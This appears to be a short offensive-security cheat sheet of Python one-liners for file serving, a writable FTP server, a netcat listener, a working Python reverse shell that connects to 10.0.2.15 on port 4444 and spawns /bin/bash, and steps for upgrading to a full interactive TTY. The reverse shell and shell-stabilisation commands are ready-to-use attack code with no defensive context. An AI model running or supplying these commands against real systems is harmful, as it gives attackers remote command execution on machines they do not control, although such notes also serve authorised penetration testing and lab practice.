Skip to content

Python

html server


python3 -m http.server 80

ftp server


pip3 install pyftpdlib
python3 -m pyftpdlib -p 21 --write

rev shell


listener

nc -lvnp 4444
reverse
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.15",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

tty shell


python

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL+Z
stty raw -echo; fg
stty rows 38 columns 116
python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL+Z
stty raw -echo; fg
stty rows 38 columns 116